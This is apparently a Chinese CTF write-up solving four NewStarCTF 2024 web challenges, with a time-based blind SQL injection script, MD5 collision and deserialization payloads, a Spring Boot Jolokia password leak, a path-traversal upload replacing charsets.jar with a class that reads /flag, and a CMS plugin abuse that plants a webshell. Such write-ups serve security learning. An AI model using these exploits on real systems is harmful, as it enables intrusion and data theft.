当前位置: 首页 > news >正文

NewStarCTF2024-Week4-Web-WP

目录

1、blindsql2

2、chocolate

3、隐藏的密码

4、ezcmsss


题目对勇师傅来说已经是开始上难度了所以这周没有AK

分享下自己做出来的题的解题思路

1、blindsql2

原本是在继续构造新的 payload,也测到了延时

打算去改上周的脚本,结果去跑的时候忘了将上次的最后 payload 注释,直接就上周的脚本就跑出来 flag 了,week3 应该是打算考布尔盲注,week4 是时间盲注,所以直接就都打通了。

exp:

# @author:Myon
# @time:20241015
import requests
import string
import time
url = 'http://eci-2ze6n37avcrdqdbhno0a.cloudeci1.ichunqiu.com/'
dic = string.ascii_lowercase + string.digits + '{}-_'
out = ''
for j in range(1, 100):a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位for k in dic:# payload = f"student_name=0'or%09if(database()%09like%09%27{out+k}%25%27,sleep(1),0)and%271" # 猜数据库名# print(payload)# payload = f"student_name=0'or%09||if((select%09table_name%09from%09information_schema.tables%09where%09table_schema%09like%09'flag'limit%092,1)like'{out+k}%25',sleep(1),0)and%271"# payload = f"student_name=Alice%27||if((select%09column_name%09from%09information_schema.columns%09where%09table_schema%09like%09'ctf'and%09table_name%09like'secrets'limit%091,1)like'{out+k}%25',sleep(1),0)and%271"payload = f"student_name=Alice%27||if((select%09secret_value%09from%09ctf.secrets%09limit%092,1)like%09'{out+k}%25',sleep(1),0)and%271"re = requests.get(url, params=payload)# print(re.status_code)t = re.elapsed.total_seconds()# print(f"{j}:{time}")if t > 1.5:print(k)a = 0 #如果找到字符,则将标志位置0out += kprint(out)time.sleep(1)break #跳出内层的for循环,继续遍历下一位# if a == 1: #在进行下一次循环前,先判断当前字符是否找到#     break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)

2、chocolate

目录扫描扫到了个 source.php,访问看不到内容

随便输一些东西测到了一个提示:

访问,然后绕过一下:

0ldStar.php?num=+02471

拿到:

可可液块 (g): 1337033 // gur arkg yriry vf : pbpbnOhggre_fgne.cuc, try to decode this 牢师傅如此说到

让我们解密这个,扔到随波逐流发现是个文件名

继续访问 cocoaButter_star.php

第一个是 md5 强碰撞:

cocoaButter_star.php?cat=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&dog=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

第二个传一个 0e 开头的 md5 加密后也是 0e 开头的即可实现相等,科学计数法都是 0

Payload:

moew=0e215962017

拿到:of course you konw// 可可脂 (g): 202409

最后一个是要求 md5 加密后前五位符合要求,一开始想到的是 md5 长度拓展攻击,发现不是,写个脚本爆破符合要求的字符即可:

import hashlibknowMd5 = '8031b'  # 已知的md5前缀
dict = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'  # 字符字典def md5(text):return hashlib.md5(str(text).encode('utf-8')).hexdigest()  # 计算md5哈希值# 爆破过程
for i in dict:for j in dict:for k in dict:for l in dict:# 生成四个字符组合x = i + j + k + l# 计算md5codeMd5 = md5(x)# 如果md5前五个字符等于已知的8031bif codeMd5[:5] == knowMd5:print(f"符合要求的next_level值:{x}")break  # 找到符合的组合后退出循环

比如我们传入 aNQa

拿到 of course you konw// 可可脂 (g): 202409// final.php

最后 final.php 是一个反序列化的利用,一开始还想绕过过滤的 chocolate,后面发现不需要绕过,并且 url 编码后传入不行,直接传序列化后的内容。

exp:

<?php
class chocolate{public $cat='???';public $kitty='???';public function __construct($u,$p){$this->cat=$u;$this->kitty=$p;}public function eatit(){return $this->cat===$this->kitty;}public function __toString(){return $this->cat;}public function __destruct(){global $darkCocoaPowder;echo $darkCocoaPowder;}
}$u = '111';
$p = '111';
$c = new chocolate($u,$p);
echo serialize($c);?>

让 $cat===$kitty 即可

Post传入:

O:9:"chocolate":2:{s:3:"cat";s:3:"111";s:5:"kitty";s:3:"111";}

拿到:黑可可粉 (g): 51540

最后还剩一个糖分,经过测试发现页面会有不同回显

确定范围是在 2000-2050 之间

Burpsuite 爆破一下:

拿到 flag:flag{d20ea743-bbae-4b75-a8e4-098c4ddecd5f}

3、隐藏的密码

目录扫描

/back.html

但是文件上传后访问不到,命令执行的是 ls

/actuator/env 接口下发现密码被******代替了

尝试获取星号的内容

Post:/actuator/jolokia

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty","type": "EXEC","arguments": ["caef11.passwd"]}

拿到密码:123456qWertAsdFgZxCvB!@#

登录,发现界面内容和前面目录扫描出来的 back.html 是一样的…

命令执行模块 fuzz 测试一下,存在一些字符的过滤,过滤字符如下:

!$&();<>[\]`{|}

可以看到异或和取反都是可以使用的

尝试命令执行,发现不行

文件能传上去但是访问不到

找到了JDK HOME 目录:

/usr/local/openjdk-8/jre/lib

确认一下,确实可以成功上传文件到这个位置:

../../usr/local/openjdk-8/jre/lib/charsets.jar

那么我们直接覆盖 charsets.jar

触发:

Accept: text/html;charset=GBK

确实可以利用

重新构造一个 jar 包,通过将 class 文件反编译拿到了 java 源码,这里主要是替换 IBM33722.class

修改后的源码如下:

package sun.nio.cs.ext;import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.util.UUID;public class IBM33722 {static {fun();}public IBM33722(){fun();}private static java.util.HashMap<String, String> fun(){String flagFilePath = "/flag";String fileName = readFlag(flagFilePath);if (fileName == null) {fileName = "failed";}String random = UUID.randomUUID().toString().replace("-", "").substring(1, 9);String tempFilePath = "/tmp/" + fileName + "_" + random + ".log";createTempFile(tempFilePath);return null;}private static String readFlag(String path) {StringBuilder content = new StringBuilder();try (BufferedReader reader = new BufferedReader(new FileReader(new File(path)))) {String line;while ((line = reader.readLine()) != null) {content.append(line);}} catch (IOException e) {return null;}return content.toString();}private static void createTempFile(String path) {try (FileWriter writer = new FileWriter(new File(path))) {writer.write(path);} catch (IOException e) {e.printStackTrace();}}
}

读取根目录下的 flag,将内容写到 /tmp 目录下的文件名(因为我们只能执行ls命令)

编译成 class 文件,整体打包成 jar 包,上传覆盖 charsets.jar

重启环境,上传新的 charsets.jar

覆盖掉后触发方式同上

查看 /tmp 目录

拿到 flag:flag{d3350ef4-3b91-40e6-9d6a-2f0c8d33193e}

4、ezcmsss

Start.sh里拿到账户密码:

admin_name=jizhicms1498&admin_pass=4oP4fB51r5

登录后台:admin.php

允许上传 php 文件

后端还做了检测

在前端随便注册一个账号

尝试上传但是没有分栏可选

在后台添加一下

还是不行,配置文件也传不了,估计这个漏洞已经修了

又看到另一个下载插件路径可控的,但是插件管理里面并没有看到可以下载插件的地方, 手动构造一下,但是似乎出不了网...

那就手动传一个一句话木马的 zip 到它的本地

从本地下载插件:

action=start-download&filepath=dbrestore&download_url=http://127.0.0.1/static/upload/2024/10/26/202410262358.zip

解压:

action=file-upzip&filepath=dbrestore&download_url=http://127.0.0.1/static/upload/2024/10/26/202410262358.zip&filesize=0

访问 /A/exts,看到我们传的压缩包被解压了,得到一句话木马

调用木马:

读取 flag

拿到 flag:flag{9bb4ad6c-68e7-44ed-badd-4614a81f7df7}

相关文章:

NewStarCTF2024-Week4-Web-WP

目录 1、blindsql2 2、chocolate 3、隐藏的密码 4、ezcmsss 题目对勇师傅来说已经是开始上难度了所以这周没有AK 分享下自己做出来的题的解题思路 1、blindsql2 原本是在继续构造新的 payload&#xff0c;也测到了延时 打算去改上周的脚本&#xff0c;结果去跑的时候忘了将…...

Java学习Day56:暴打舔狗!(SpringBoot)

1.springboot简介 核心能力&#xff1a;Spring容器、日志、自动配置AutoCongfiguration、Starters web应用的能力&#xff1a;MVC、嵌入式Web服务器 数据访问(持久化)&#xff1a;关系型数据库、非关系型数据库 强大的整合其他技术的能力 只要是Java中牛逼的技术&#xff0c…...

RSA加密算法实现

Java实现RSA加密算法示例,包括密钥对的生成、加密和解密过程。首先需要导入Java的加密库,这些功能主要通过java.security和javax.crypto包提供。先生成了一个RSA密钥对,包括一个公钥和一个私钥。然后使用公钥加密了一个字符串,并使用私钥解密了加密后的字符串。加密和解密的…...

大数据新视界 -- 大数据大厂之优化大数据计算框架 Tez 的实践指南

&#x1f496;&#x1f496;&#x1f496;亲爱的朋友们&#xff0c;热烈欢迎你们来到 青云交的博客&#xff01;能与你们在此邂逅&#xff0c;我满心欢喜&#xff0c;深感无比荣幸。在这个瞬息万变的时代&#xff0c;我们每个人都在苦苦追寻一处能让心灵安然栖息的港湾。而 我的…...

java 中 List<T> 类型数据在 postgreSql 数据库中存储

一 属性添加注解 在类上面添加注解&#xff1a; TableName(autoResultMap true) 在字段上面添加注解&#xff1a; TableField(value "list", typeHandler UserHandler.class) private List<User> list new ArrayList<>(); 二 创建 UserHandler 类…...

公共命名空间,2024年10月的笔记

首先&#xff0c;我国选择C做为竞赛语言&#xff0c;许多人学C&#xff0c;学习的结果是&#xff1a;看到“公共命名空间”&#xff0c;就幻想出一个私有命名空间&#xff0c;其实&#xff0c;公共命名空间和C的命名空间无关&#xff01; 超简源代码 已知序列v{1,2,3,4,5}&…...

frida脚本,自动化寻址JNI方法

版权归作者所有&#xff0c;如有转发&#xff0c;请注明文章出处&#xff1a;https://cyrus-studio.github.io/blog/ 1. 通过 ArtMethod 结构体找到 jni 方法在内存中的地址&#xff0c;并把寻址方法通过 rpc.exports 暴露给 Python 脚本调用 jni_addr.js let entry_point_fr…...

‌MySQL中‌between and的基本用法‌

文章目录 一、between and语法二、使用示例2.1、between and数值查询2.2、between and时间范围查询2.3、not between and示例 BETWEEN AND操作符可以用于数值、日期等类型的字段&#xff0c;包括边界值。 一、between and语法 MySQL中的BETWEEN AND操作符用于在两个值之间选择…...

Ceph 存储系统全解

1. 引言 什么是 Ceph&#xff1f; Ceph 是一个开源的分布式存储系统&#xff0c;旨在提供高性能、可扩展、无单点故障的统一存储平台。它可以同时支持对象存储、块存储和文件系统存储&#xff0c;能够满足不同存储需求的多种应用场景。Ceph 通过其强大的 RADOS&#xff08;可…...

C# ftp帮助类 项目实战优化版

上位机开发中有时要与客户的文件服务器进行数据交互。如Mapping文件下载。结果文件上传等。我在项目中就常用到。现在把项目实战代码进行分享一下。 功能列表&#xff1a;连接服务器&#xff0c;下载文件&#xff0c;上传文件&#xff0c;删除服务器文件&#xff0c;获取当前目…...

栈和队列相关|有效的括号|用队列实现栈|用栈实现队列|设计循环队列(C)

20. 有效的括号 判断左右括号是否匹配&#xff0c;匹配返回true&#xff0c;不匹配返回false 通过栈来实现&#xff0c;类型和顺序&#xff0c;数量都要匹配 控制数量通过size 每个右括号都要找最近的左括号去判断类型匹配不匹配&#xff0c;顺序匹配不匹配 最后来判断数量匹配…...

云原生后端开发教程

云原生后端开发教程 引言 随着云计算的普及&#xff0c;云原生架构逐渐成为现代软件开发的主流。云原生不仅仅是将应用部署到云上&#xff0c;而是一种构建和运行应用的方式&#xff0c;充分利用云计算的弹性和灵活性。本文将深入探讨云原生后端开发的核心概念、工具和实践&a…...

TortoiseSVN小乌龟下载安装(Windows11)

目录 TortoiseSVN 1.14.7工具下载安装 TortoiseSVN 1.14.7 工具 系统&#xff1a;Windows 11 下载 官网&#xff1a;https://tortoisesvn.subversion.org.cn/downloads.html如图选 TortoiseSVN 1.14.7 - 64 位 下载完成 安装 打开 next&#xff0c;next Browse&#xf…...

Android adb命令获取设备id

Android adb命令获取设备id 方式很多&#xff0c;以下均可获得Android device id&#xff1a; adb shell settings get secure android_id adb shell settings get secure android_id adb devices -l adb shell content query --uri content://settings/secure --where "…...

Skywalking教程一

Skywalking教程一 概述Skywalking功能特点&#xff1a; 概述 一个大型分布式系统架构&#xff0c;监控平台是必不可少的&#xff0c;常用的分布式系统监控平台有&#xff1a;SkyWalking和Prometheus。Skywalking是一款比较优秀的分布式系统监控平台&#xff0c;一款分布式系统…...

React中管理state的方式

使用useState 使用useReducer 既然已经有了useState&#xff0c;为什么还需要useReducer呢&#xff1f; 那么useReducer是如何将解决这些问题的呢&#xff1f; reducer是如何更新state的呢&#xff1f; reducer的工作方式非常类似JavaScript中的reduce方法&#xff0c;随着时…...

服务器数据恢复—RAID5阵列中部分成员盘重组RAID5阵列后如何恢复原raid5阵列数据?

服务器数据恢复环境&#xff1a; 一台服务器挂接一台存储&#xff0c;该存储中有一组由5块硬盘组建的RAID5阵列。 服务器故障&#xff1a; 存储raid5阵列中有一块硬盘掉线。由于RAID5的特性&#xff0c;阵列并没有出现问题。工作一段时间后&#xff0c;服务器出现故障&#xff…...

【Linux】文件切割排序 cut sort

文章目录 Linux文件切割命令&#xff1a;cut1. cut命令的基本用法2. cut命令的选项和参数3. cut命令的实际应用案例 Linux文件排序命令&#xff1a;sort1. sort命令的基本用法2. sort命令的选项和参数3. sort命令的实际应用案例 常见问题和解决方案1. cut和sort命令的联合使用2…...

零售EDI:HornBach EDI 项目案例

HornBach 是一家总部位于德国的家居和建筑材料零售商&#xff0c;成立于1968年。它以大型仓储式商店而闻名&#xff0c;提供广泛的产品&#xff0c;包括建筑材料、园艺、家居装饰和工具等。 近期我们帮助HornBach的供应商W公司成功实现了与HornBach的EDI直连&#xff0c;除了满…...

SpringBoot 集成RabbitMQ 实现钉钉日报定时发送功能

文章目录 一、RabbitMq 下载安装二、开发步骤&#xff1a;1.MAVEN 配置2. RabbitMqConfig 配置3. RabbitMqUtil 工具类4. DailyDelaySendConsumer 消费者监听5. 测试延迟发送 一、RabbitMq 下载安装 官网&#xff1a;https://www.rabbitmq.com/docs 二、开发步骤&#xff1a;…...

基于java ssm springboot女士电商平台系统源码+文档设计

基于java ssm springboot女士电商平台系统源码文档设计 &#x1f345; 作者主页 网顺技术团队 &#x1f345; 欢迎点赞 &#x1f44d; 收藏 ⭐留言 &#x1f4dd; &#x1f345; 文末获取源码联系方式 &#x1f4dd; &#x1f345; 查看下方微信号获取联系方式 承接各种定制系统…...

Matlab数字信号处理——基于改进小波变换的图像去噪方法(7种去噪算法)

1.基于小波变换的阈值收缩法去噪 该方法利用小波变换分离出信号中的噪声成分&#xff0c;并通过设置合适的阈值对小波系数进行收缩&#xff0c;保留主要信息的同时&#xff0c;去除噪声。 %基于小波变换的阈值收缩法去噪算法 clear clc Iimread(nana.png); X im2double(I); …...

leetcode hot100【LeetCode 70. 爬楼梯】java实现

LeetCode 70. 爬楼梯 题目描述 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢&#xff1f; 注意&#xff1a; 给定 n 是一个正整数。 示例 1&#xff1a; 输入&#xff1a;n 2 输出&#xff1a;2 解释&…...

Java异常2

异常抛出的两种形式&#xff1a; 系统隐式抛出&#xff1b;int n10/0;—隐式抛出一个异常&#xff1b;手动抛出异常&#xff1a;throw new Exception(); import java.util.InputMismatchException; import java.util.Scanner;public class Main {public static void main(Str…...

2024熵密杯初始题2

问题简要&#xff1a; 已知 counter 0x7501E6EA token 0xF4CE927C79B616E8E8F7223828794EEDF9B16591AE572172572D51E135E0D21A 伪造出另一个可以通过验证的counter和token。 给出token生成及验证代码如下&#xff1a; import binascii from gmssl import sm3# 读取HMAC ke…...

echarts属性之title

title 标题组件&#xff0c;包含主标题和副标题。 在 ECharts 2.x 中单个 ECharts 实例最多只能拥有一个标题组件。但是在 ECharts 3 中可以存在任意多个标题组件&#xff0c;这在需要标题进行排版&#xff0c;或者单个实例中的多个图表都需要标题时会比较有用。 例如下面不…...

VUE errolog, vue 错误集

I) installation As to command “npm install” on cmd or powershell, we must execute it under the program folder...

驱动开发系列13 - Linux tasklet用法介绍

一:概述 Tasklet 是 Linux 内核中的一种轻量级任务调度机制,通常用于在中断上下文中执行短小的任务。它们在软中断处理过程中被调用,允许将较长的处理工作延后到一个较低优先级的上下文中,以减少中断处理的延迟。Tasklet 的使用可以帮助开发者更好地管理系统资源,提高性能…...

redis实现分布式锁,go实现完整code

Redis分布式锁 Redis 分布式锁是一种使用 Redis 数据库实现分布式锁的方式&#xff0c;可以保证在分布式环境中同一时间只有一个实例可以访问共享资源。 实现机制 以下是实现其加锁步骤&#xff1a; 获取锁 在 Redis 中&#xff0c;一个相同的key代表一把锁。是否拥有这把锁&…...

解析日期、编码

解析日期 这里指的是将字符串或者object类型的日期&#xff0c;转换成panda或python的日期类型。 主要的是dtype的变化&#xff1a;object / str —> datetime64[ns] # modules well use import pandas as pd import numpy as np import seaborn as sns import datetime# …...

吉林省建设工程造价网站/推广方案如何写

前驱节点&#xff08;predecessor&#xff09; 前驱节点&#xff1a;中序遍历时的前一个节点。如果是二叉搜索树&#xff0c;前驱节点就是前一个比它小的节点。 node.left ! null 举例&#xff1a;6、13、8predecessor node.left.right.right.right...&#xff0c;终止条件&a…...

科技通信网站模板下载/安卓优化大师最新版下载

文章目录一、接收告警二、查看监控定位进程三、查看线程占用资源情况3.1、查看线程占用堆栈信息四、查看堆内存对象分布五、MAT分析内存情况一、接收告警 根据内存使用率监控&#xff0c;我们如果超过85&#xff08;经验值&#xff09;是需要报警的。 那么日常异常情况如何报警…...

沈阳软件公司 网站制作/推广产品的软文

假如有jsp页面要实现一个列表信息&#xff0c;格式如下&#xff1a; 第1条信息 第2条信息 第3条信息 第4条信息 第5条信息 第6条信息 第7条信息 第8条信息 ..... 搜索过别的方法&#xff0c;很多人运用jsp代码写入页面来进行循环判断。其实用struts2自带的标签可以实现同样效果…...

wordpress微博登录注册/杭州seo网站推广排名

Python&#xff1a;3.7.1 Jupyter Notebook&#xff1a;6.3.0 Jupyter Notebook中将ipynb文件转为py文件前言一、将.ipynb文件转为.py文件1.命令行2.Jupyter Notebook页面上二、将.py文件转为.ipynb文件 (Jupyter Notebook加载.py文件)前言 Jupyter Notebook中属于网络页面交互…...

北京都有那些做网站的公司/营销方式和渠道有哪些

当指针地址相加减时 只可减不可加如 &p11000 &p21008 &p1-&p22 可以在实参为数组 而形参为指针 相反也可以 都是传递了地址 在数组赋值时 不能用 a【20】“awsdfsa”而需要使用 strcpy&#xff08;a【20】&#xff0c;“sadfasdf”&#xff09;&#xff1b; 可…...

贸易公司网站建/市场推广方案怎么写

因为公司项目需要使用消息中间件&#xff0c;实现相关业务的异步处理&#xff0c;所有选用了rabbitmq.通过看文档&#xff0c;爬过一个一个坑&#xff0c;终于还是实现了相关功能。 直接上配置文件&#xff1a; <?xml version"1.0" encoding"UTF-8"?&…...